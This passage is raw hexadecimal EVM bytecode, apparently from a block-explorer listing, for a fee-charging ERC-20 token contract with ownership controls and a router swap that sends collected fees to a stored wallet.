65b610ab3610ffe565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b399061212d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba890612199565b60405180910390fd5b6001600f60026101000a81548160ff02191690831515021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060048054610c1f90611fbb565b80601f0160208091040260200160405190810160405280929190818152602001828054610c4b90611fbb565b8015610c985780601f10610c6d57610100808354040283529160200191610c98565b820191906000526020600020905b815481529060010190602001808311610c7b57829003601f168201915b5050505050905090565b60008060016000610cb1610ffe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d659061222b565b60405180910390fd5b610d82610d79610ffe565b85858403611006565b600191505092915050565b6000610da1610d9a610ffe565b84846111cf565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e5481565b610e40610ffe565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ecf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec69061212d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f35906122bd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611075576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106c9061234f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110db906123e1565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111c29190611e50565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361123e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123590612473565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a490612505565b60405180910390fd5b600081036112c6576112c18383600061168d565b611688565b60006112d1306108db565b90506000600e5482101590508080156112f75750600f60019054906101000a900460ff16155b80156113515750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156113695750600f60029054906101000a900460ff165b156113ca576001600f60016101000a81548160ff021916908315150217905550600f60009054906101000a900460ff16156113a457600e5491505b6113ae858361190c565b6000600f60016101000a81548160ff0219169083151502179055505b600d60009054906101000a900460ff1680156114345750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561148d5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561149a5750600c5442105b156114ab5760006114aa57600080fd5b5b6000600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061154e5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806115655750600f60019054906101000a900460ff165b156115735760009050611639565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036115d2576009549050611638565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff160361163157600a549050611637565b600b5490505b5b5b6000811115611679576000606482866116529190612525565b61165c9190612596565b9050808561166a91906125c7565b945061167787308361168d565b505b61168486868661168d565b5050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f390612473565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361176b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176290612505565b60405180910390fd5b611776838383611bfc565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156117fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f39061266d565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461188f91906120ad565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118f39190611e50565b60405180910390a3611906848484611c01565b50505050565b60004790506000600367ffffffffffffffff81111561192e5761192d61268d565b5b60405190808252806020026020018201604052801561195c5781602001602082028036833780820191505090505b5090503081600081518110611974576119736126bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505083816001815181106119c3576119c26126bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a8e9190612700565b81600281518110611aa257611aa16126bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611b40959493929190612826565b600060405180830381600087803b158015611b5a57600080fd5b505af1158015611b6e573d6000803e3d6000fd5b5050505060008247611b8091906125c7565b90506000811115611bf557600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611bf3573d6000803e3d6000fd5b505b5050505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c40578082015181840152602081019050611c25565b60008484015250505050565b6000601f19601f8301169050919050565b6000611c6882611c06565b611c728185611c11565b9350611c82818560208601611c22565b611c8b81611c4c565b840191505092915050565b60006020820190508181036000830152611cb08184611c5d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611ce882611cbd565b9050919050565b611cf881611cdd565b8114611d0357600080fd5b50565b600081359050611d1581611cef565b92915050565b6000819050919050565b611d2e81611d1b565b8114611d3957600080fd5b50565b600081359050611d4b81611d25565b92915050565b60008060408385031215611d6857611d67611cb8565b5b6000611d7685828601611d06565b9250506020611d8785828601611d3c565b9150509250929050565b60008115159050919050565b611da681611d91565b82525050565b6000602082019050611dc16000830184611d9d565b92915050565b6000819050919050565b6000611dec611de7611de284611cbd565b611dc7565b611cbd565b9050919050565b6000611dfe82611dd1565b9050919050565b6000611e1082611df3565b9050919050565b611e2081611e05565b82525050565b6000602082019050611e3b6000830184611e17565b92915050565b611e4a81611d1b565b82525050565b6000602082019050611e656000830184611e41565b92915050565b600080600060608486031215611e8457611e83611cb8565b5b6000611e9286828701611d06565b9350506020611ea386828701611d06565b9250506040611eb486828701611d3c565b9150509250925092565b600060ff82169050919050565b611ed481611ebe565b82525050565b6000602082019050611eef6000830184611ecb565b92915050565b611efe81611cdd565b82525050565b6000602082019050611f196000830184611ef5565b92915050565b600060208284031215611f3557611f34611cb8565b5b6000611f4384828501611d06565b91505092915050565b60008060408385031215611f6357611f62611cb8565b5b6000611f7185828601611d06565b9250506020611f8285828601611d06565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611fd357607f821691505b602082108103611fe657611fe5611f8c565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000612048602883611c11565b915061205382611fec565b604082019050919050565b600060208201905081810360008301526120778161203b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006120b882611d1b565b91506120c383611d1b565b92508282019050808211156120db576120da61207e565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612117602083611c11565b9150612122826120e1565b602082019050919050565b600060208201905081810360008301526121468161210a565b9050919050565b7f4e65772061646472657373206973207a65726f00000000000000000000000000600082015250565b6000612183601383611c11565b915061218e8261214d565b602082019050919050565b600060208201905081810360008301526121b281612176565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612215602583611c11565b9150612220826121b9565b604082019050919050565b6000602082019050818103600083015261224481612208565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006122a7602683611c11565b91506122b28261224b565b604082019050919050565b600060208201905081810360008301526122d68161229a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612339602483611c11565b9150612344826122dd565b604082019050919050565b600060208201905081810360008301526123688161232c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006123cb602283611c11565b91506123d68261236f565b604082019050919050565b600060208201905081810360008301526123fa816123be565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061245d602583611c11565b915061246882612401565b604082019050919050565b6000602082019050818103600083015261248c81612450565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006124ef602383611c11565b91506124fa82612493565b604082019050919050565b6000602082019050818103600083015261251e816124e2565b9050919050565b600061253082611d1b565b915061253b83611d1b565b925082820261254981611d1b565b915082820484148315176125605761255f61207e565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006125a182611d1b565b91506125ac83611d1b565b9250826125bc576125bb612567565b5b828204905092915050565b60006125d282611d1b565b91506125dd83611d1b565b92508282039050818111156125f5576125f461207e565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612657602683611c11565b9150612662826125fb565b604082019050919050565b600060208201905081810360008301526126868161264a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506126fa81611cef565b92915050565b60006020828403121561271657612715611cb8565b5b6000612724848285016126eb565b91505092915050565b6000819050919050565b600061275261274d6127488461272d565b611dc7565b611d1b565b9050919050565b61276281612737565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61279d81611cdd565b82525050565b60006127af8383612794565b60208301905092915050565b6000602082019050919050565b60006127d382612768565b6127dd8185612773565b93506127e883612784565b8060005b8381101561281957815161280088826127a3565b975061280b836127bb565b9250506001810190506127ec565b5085935050505092915050565b600060a08201905061283b6000830188611e41565b6128486020830187612759565b818103604083015261285a81866127c8565b90506128696060830185611ef5565b6128766080830184611e41565b969550505050505056fea2646970667358221220fc0f54d954ce0698fd0b919ad09f08077f95d7ac71a867babfba2c673a33ed4f64736f6c63430008120033
Deployed Bytecode
0x60806040526004361061014f5760003560e01c8063702509fd116100b657806395d89b411161006f57806395d89b4114610493578063a457c2d7146104be578063a9059cbb146104fb578063dd62ed3e14610538578063e2f4560514610575578063f2fde38b146105a057610156565b8063702509fd1461039557806370a08231146103c057806370b7b80c146103fd578063715018a6146104285780638da5cb5b1461043f57806391c1004a1461046a57610156565b8063313ce56711610108578063313ce5671461028157806339509351146102ac57806347062402146102e9578063488eb37f1461031457806349bd5a5e1461033f5780634ada218b1461036a57610156565b806306fdde031461015b578063095ea7b3146101865780631694505e146101c357806318160ddd146101ee57806323b872dd146102195780632b14ca561461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b506101706105c9565b60405161017d9190611c96565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190611d51565b61065b565b6040516101ba9190611dac565b60405180910390f35b3480156101cf57600080fd5b506101d8610679565b6040516101e59190611e26565b60405180910390f35b3480156101fa57600080fd5b5061020361069f565b6040516102109190611e50565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b9190611e6b565b6106a9565b60405161024d9190611dac565b60405180910390f35b34801561026257600080fd5b5061026b6107c8565b6040516102789190611e50565b60405180910390f35b34801561028d57600080fd5b506102966107ce565b6040516102a39190611eda565b60405180910390f35b3480156102b857600080fd5b506102d360048036038101906102ce9190611d51565b6107d7565b6040516102e09190611dac565b60405180910390f35b3480156102f557600080fd5b506102fe610883565b60405161030b9190611e50565b60405180910390f35b34801561032057600080fd5b50610329610889565b6040516103369190611dac565b60405180910390f35b34801561034b57600080fd5b5061035461089c565b6040516103619190611f04565b60405180910390f35b34801561037657600080fd5b5061037f6108c2565b60405161038c9190611dac565b60405180910390f35b3480156103a157600080fd5b506103aa6108d5565b6040516103b79190611e50565b60405180910390f35b3480156103cc57600080fd5b506103e760048036038101906103e29190611f1f565b6108db565b6040516103f49190611e50565b60405180910390f35b34801561040957600080fd5b50610412610923565b60405161041f9190611e50565b60405180910390f35b34801561043457600080fd5b5061043d610929565b005b34801561044b57600080fd5b50610454610a81565b6040516104619190611f04565b60405180910390f35b34801561047657600080fd5b50610491600480360381019061048c9190611f1f565b610aab565b005b34801561049f57600080fd5b506104a8610c10565b6040516104b59190611c96565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190611d51565b610ca2565b6040516104f29190611dac565b60405180910390f35b34801561050757600080fd5b50610522600480360381019061051d9190611d51565b610d8d565b60405161052f9190611dac565b60405180910390f35b34801561054457600080fd5b5061055f600480360381019061055a9190611f4c565b610dab565b60405161056c9190611e50565b60405180910390f35b34801561058157600080fd5b5061058a610e32565b6040516105979190611e50565b60405180910390f35b3480156105ac57600080fd5b506105c760048036038101906105c29190611f1f565b610e38565b005b6060600380546105d890611fbb565b80601f016020809104026020016040519081016040528092919081815260200182805461060490611fbb565b80156106515780601f1061062657610100808354040283529160200191610651565b820191906000526020600020905b81548152906001019060200180831161063457829003601f168201915b5050505050905090565b600061066f610668610ffe565b8484611006565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106f5610ffe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146107b1578281101561079c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107939061205e565b60405180910390fd5b6107b0856107a8610ffe565b858403611006565b5b6107bc8585856111cf565b60019150509392505050565b600a5481565b60006012905090565b60006108796107e4610ffe565b8484600160006107f2610ffe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461087491906120ad565b611006565b6001905092915050565b60095481565b600f60009054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900460ff1681565b600b5481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c5481565b610931610ffe565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b79061212d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ab3610ffe565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b399061212d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba890612199565b60405180910390fd5b6001600f60026101000a81548160ff02191690831515021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060048054610c1f90611fbb565b80601f0160208091040260200160405190810160405280929190818152602001828054610c4b90611fbb565b8015610c985780601f10610c6d57610100808354040283529160200191610c98565b820191906000526020600020905b815481529060010190602001808311610c7b57829003601f168201915b5050505050905090565b60008060016000610cb1610ffe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d659061222b565b60405180910390fd5b610d82610d79610ffe565b85858403611006565b600191505092915050565b6000610da1610d9a610ffe565b84846111cf565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e5481565b610e40610ffe565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ecf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec69061212d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f35906122bd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611075576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106c9061234f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110db906123e1565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111c29190611e50565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361123e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123590612473565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a490612505565b60405180910390fd5b600081036112c6576112c18383600061168d565b611688565b60006112d1306108db565b90506000600e5482101590508080156112f75750600f60019054906101000a900460ff16155b80156113515750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156113695750600f60029054906101000a900460ff165b156113ca576001600f60016101000a81548160ff021916908315150217905550600f60009054906101000a900460ff16156113a457600e5491505b6113ae858361190c565b6000600f60016101000a81548160ff0219169083151502179055505b600d60009054906101000a900460ff1680156114345750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561148d5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561149a5750600c5442105b156114ab5760006114aa57600080fd5b5b6000600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061154e5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806115655750600f60019054906101000a900460ff165b156115735760009050611639565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036115d2576009549050611638565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff160361163157600a549050611637565b600b5490505b5b5b6000811115611679576000606482866116529190612525565b61165c9190612596565b9050808561166a91906125c7565b945061167787308361168d565b505b61168486868661168d565b5050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f390612473565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361176b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176290612505565b60405180910390fd5b611776838383611bfc565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156117fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f39061266d565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461188f91906120ad565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118f39190611e50565b60405180910390a3611906848484611c01565b50505050565b60004790506000600367ffffffffffffffff81111561192e5761192d61268d565b5b60405190808252806020026020018201604052801561195c5781602001602082028036833780820191505090505b5090503081600081518110611974576119736126bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505083816001815181106119c3576119c26126bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a8e9190612700565b81600281518110611aa257611aa16126bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611b40959493929190612826565b600060405180830381600087803b158015611b5a57600080fd5b505af1158015611b6e573d6000803e3d6000fd5b5050505060008247611b8091906125c7565b90506000811115611bf557600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611bf3573d6000803e3d6000fd5b505b5050505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c40578082015181840152602081019050611c25565b60008484015250505050565b6000601f19601f8301169050919050565b6000611c6882611c06565b611c728185611c11565b9350611c82818560208601611c22565b611c8b81611c4c565b840191505092915050565b60006020820190508181036000830152611cb08184611c5d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611ce882611cbd565b9050919050565b611cf881611cdd565b8114611d0357600080fd5b50565b600081359050611d1581611cef565b92915050565b6000819050919050565b611d2e81611d1b565b8114611d3957600080fd5b50565b600081359050611d4b81611d25565b92915050565b60008060408385031215611d6857611d67611cb8565b5b6000611d7685828601611d06565b9250506020611d8785828601611d3c565b9150509250929050565b60008115159050919050565b611da681611d91565b82525050565b6000602082019050611dc16000830184611d9d565b92915050565b6000819050919050565b6000611dec611de7611de284611cbd565b611dc7565b611cbd565b9050919050565b6000611dfe82611dd1565b9050919050565b6000611e1082611df3565b9050919050565b611e2081611e05565b82525050565b6000602082019050611e3b6000830184611e17565b92915050565b611e4a81611d1b565b82525050565b6000602082019050611e656000830184611e41565b92915050565b600080600060608486031215611e8457611e83611cb8565b5b6000611e9286828701611d06565b9350506020611ea386828701611d06565b9250506040611eb486828701611d3c565b9150509250925092565b600060ff82169050919050565b611ed481611ebe565b82525050565b6000602082019050611eef6000830184611ecb565b92915050565b611efe81611cdd565b82525050565b6000602082019050611f196000830184611ef5565b92915050565b600060208284031215611f3557611f34611cb8565b5b6000611f4384828501611d06565b91505092915050565b60008060408385031215611f6357611f62611cb8565b5b6000611f7185828601611d06565b9250506020611f8285828601611d06565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611fd357607f821691505b602082108103611fe657611fe5611f8c565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000612048602883611c11565b915061205382611fec565b604082019050919050565b600060208201905081810360008301526120778161203b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006120b882611d1b565b91506120c383611d1b565b92508282019050808211156120db576120da61207e565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612117602083611c11565b9150612122826120e1565b602082019050919050565b600060208201905081810360008301526121468161210a565b9050919050565b7f4e65772061646472657373206973207a65726f00000000000000000000000000600082015250565b6000612183601383611c11565b915061218e8261214d565b602082019050919050565b600060208201905081810360008301526121b281612176565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612215602583611c11565b9150612220826121b9565b604082019050919050565b6000602082019050818103600083015261224481612208565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006122a7602683611c11565b91506122b28261224b565b604082019050919050565b600060208201905081810360008301526122d68161229a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f72657373000